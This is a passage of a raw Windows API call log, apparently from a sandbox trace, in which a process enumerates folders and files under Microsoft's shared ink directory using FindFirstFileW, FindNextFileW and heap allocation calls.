Size=0x10000) returned 0x3438ff0 [0213.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0213.921] GetProcessHeap () returned 0xc10000 [0213.921] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0213.922] GetProcessHeap () returned 0xc10000 [0213.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.923] GetProcessHeap () returned 0xc10000 [0213.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.924] GetProcessHeap () returned 0xc10000 [0213.924] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.924] GetProcessHeap () returned 0xc10000 [0213.924] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.924] GetProcessHeap () returned 0xc10000 [0213.924] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.924] GetProcessHeap () returned 0xc10000 [0213.924] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0213.928] GetProcessHeap () returned 0xc10000 [0213.928] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.928] GetProcessHeap () returned 0xc10000 [0213.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0213.929] GetProcessHeap () returned 0xc10000 [0213.929] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.929] GetProcessHeap () returned 0xc10000 [0213.929] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0213.930] GetProcessHeap () returned 0xc10000 [0213.930] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.930] GetProcessHeap () returned 0xc10000 [0213.930] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0213.931] GetProcessHeap () returned 0xc10000 [0213.931] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.931] GetProcessHeap () returned 0xc10000 [0213.931] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0213.931] GetProcessHeap () returned 0xc10000 [0213.931] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.931] GetProcessHeap () returned 0xc10000 [0213.932] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.932] GetProcessHeap () returned 0xc10000 [0213.932] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.932] GetProcessHeap () returned 0xc10000 [0213.932] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.933] GetProcessHeap () returned 0xc10000 [0213.933] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.933] GetProcessHeap () returned 0xc10000 [0213.933] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0213.935] GetProcessHeap () returned 0xc10000 [0213.935] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.936] GetProcessHeap () returned 0xc10000 [0213.936] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.936] GetProcessHeap () returned 0xc10000 [0213.937] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.937] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.937] GetProcessHeap () returned 0xc10000 [0213.937] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.937] GetProcessHeap () returned 0xc10000 [0213.937] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.937] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0213.937] GetProcessHeap () returned 0xc10000 [0213.937] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0213.937] GetProcessHeap () returned 0xc10000 [0213.938] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0213.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.938] GetProcessHeap () returned 0xc10000 [0213.938] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.215] GetProcessHeap () [0214.215] GetProcessHeap () returned 0xc10000 [0214.215] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.215] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.216] GetProcessHeap () returned 0xc10000 [0214.218] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.218] GetProcessHeap () returned 0xc10000 [0214.218] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0214.219] GetProcessHeap () returned 0xc10000 [0214.219] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.219] GetProcessHeap () returned 0xc10000 [0214.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.219] GetProcessHeap () returned 0xc10000 [0214.219] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.220] GetProcessHeap () returned 0xc10000 [0214.220] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.222] GetProcessHeap () returned 0xc10000 [0214.222] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.227] GetProcessHeap () returned 0xc10000 [0214.227] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.227] GetProcessHeap () returned 0xc10000 [0214.227] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.228] GetProcessHeap () returned 0xc10000 [0214.228] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0214.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.229] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.229] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0214.230] GetProcessHeap () returned 0xc10000 [0214.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.230] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0214.230] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0214.230] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0214.230] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0214.231] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0214.231] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0214.231] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0214.232] GetProcessHeap () returned 0xc10000 [0214.232] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.232] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, 